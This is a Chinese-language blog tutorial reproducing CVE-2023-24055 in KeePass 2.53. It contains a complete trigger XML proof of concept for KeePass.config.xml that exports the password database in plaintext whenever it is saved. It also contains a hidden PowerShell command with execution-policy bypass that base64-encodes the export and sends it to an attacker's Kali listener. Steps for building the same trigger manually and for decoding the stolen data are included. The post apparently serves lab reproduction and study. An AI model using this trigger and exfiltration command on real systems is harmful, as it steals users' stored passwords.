目 录CONTENT

文章目录

KeePass敏感信息明文传输漏洞复现(CVE-2023-24055)(保姆级教程)

CZ
CZ
2023-04-17 / 2 评论 / 5 点赞 / 477 阅读 / 8905 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2024-04-24,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

一、漏洞描述

漏洞简述

KeePass 是一款免费的开源密码管理器,可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中,该数据库由一把万能钥匙锁定。因此,您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法(AES-256、ChaCha20 和 Twofish)进行加密。

对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。

漏洞影响范围

供应商: KeePass 产品: KeePass Password Safe 2 确认受影响版本: KeePass 2.53版本 修复版本: KeePass 2.53.1版本

二、漏洞复现实战

环境搭建

KeePass数据库下载链接 1、右键单击以管理身份运行,注意默认安装只有英文,需要自己下载汉化包 汉化包下载 image-1681709338700 下载完之后汉化包自行解压 image-1681709660578 2、安装数据库 image-1681709706843 image-1681709732058 image-1681709764408 3、导入汉化包 image-1681709836503 image-1681709858168 将下载的汉化包拖进去选择中文,重启生效 image-1681709984655 4、新建数据库,默认命名为数据库.kdbx image-1681710205571 image-1681710243720 5、设置管理密码,随便设置个 image-1681710391557 image-1681710450183 6、设置用户名,这里我设置的admin123,数据库名称可先不写 image-1681710530561

漏洞复现

复现攻击

用POC修改配置文件

1、创建一个触发器,在密码数据库存在交互时进行明文传输。触发器创建主要细分为两步骤: (1)POC写入配置文件

将编写好的POC代码写入KeePass.config.xml(配置文件),须符合触发器XML格式。(将poc中数据库的导出路径和攻击者的接收路径更改一下后,直接覆盖原KeePass.config.xml配置文件位置(数据库安装目录)即可)

image-1681712018582 小建议如下图:复现之前先将相关参数用记事本写下,方便利用 image-1681712129948 需要修改三处 image-1681712229971 POC编写代码如下 利用powershell以GET方式传输数据库中密码文件。

<TriggerSystem> 
    <Triggers>
                <Trigger>
                    <Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
                    <Name>exploit</Name>
                    <Events>
                        <Event>
                            <TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
                            <Parameters>
                                <Parameter>0</Parameter>
                                <Parameter />
                            </Parameters>
                        </Event>
                    </Events>
                    <Conditions />
                    <Actions>
                        <Action>
                            <TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
                            <Parameters>
                                <Parameter>c:\Users\你自己本地的路径数字\AppData\Local\Temp\exploit.xml</Parameter>
                                <Parameter>KeePass XML (2.x)</Parameter>
                                <Parameter />
                                <Parameter />
                            </Parameters>
                        </Action>
                        <Action>
                            <TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
                            <Parameters>
                                <Parameter>PowerShell.exe</Parameter>
                                <Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\同上\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:9999(kali的本机地址和监听端口,可用ifconfig查看)/$var -Method GET </Parameter>
                                <Parameter>False</Parameter>
                                <Parameter>1</Parameter>
                                <Parameter />
                            </Parameters>
                        </Action>
                    </Actions>
                </Trigger>
            </Triggers>         
            </TriggerSystem>

保存KeePass.config.xml文件,触发器功能查看exploit触发器

手工创建触发器

点击工具——触发器 image-1681713030657 点击添加 image-1681713056664 1、属性项:命名为exploit,其余默认配置 image-1681713128925 2、事件项:选择“已保存数据库文件(Saved database file)”,判断条件选“相等(Equals)” image-1681713184191 image-1681713209204 点击完成,添加成功 image-1681713224644 3、动作项: image-1681713356143 (1)导出当前数据库

文件路径为明文传输路径

C:\Users\本地路径对应数字\AppData\Local\Temp\exploit.xml

文件格式选择 KeePass XML (2.x) image-1681713628301 对应配置文件位置 image-1681713663222

<Parameter>C:\Users\本地路径对应数字\AppData\Local\Temp\exploit.xml</Parameter>

(2)执行命令行/URL 文件路径为PowerShell.exe,使触发器执行PowerShell

参数选择攻击接收的路径

窗口方式选择隐藏(Hidden)

image-1681714075861 对应配置文件 image-1681714230703

<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\同上\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:9999(kali的本机地址和监听端口,可用ifconfig查看)/$var -Method GET </Parameter>

全部添加完之后如图显示: image-1681714284165 点击完成,登录攻击机。

攻击复现

打开攻击机(我用的kali),开启web服务,监听对应的9999端口,用于接收传输后的密码明文: image-1681714454959 回到数据库靶机,右键添加记录 image-1681714544720 标题任意,点击确定,然后Ctrl+S保存,会提示输入密码,直接输入就行了 image-1681714625829 然后我们接着去我们kali攻击机看,发现有base64数据显示 image-1681714755352 base64加解密 image-1681715045587 解码后可以看到相关信息 image-1681715235363 在靶机的C:\Users\本地路径对应数字\AppData\Local\Temp目录中也可看到poc生成的数据库备份文件: image-1681715676000 至此我们的CVE-2023-24055漏洞复现全部结束!

5

评论区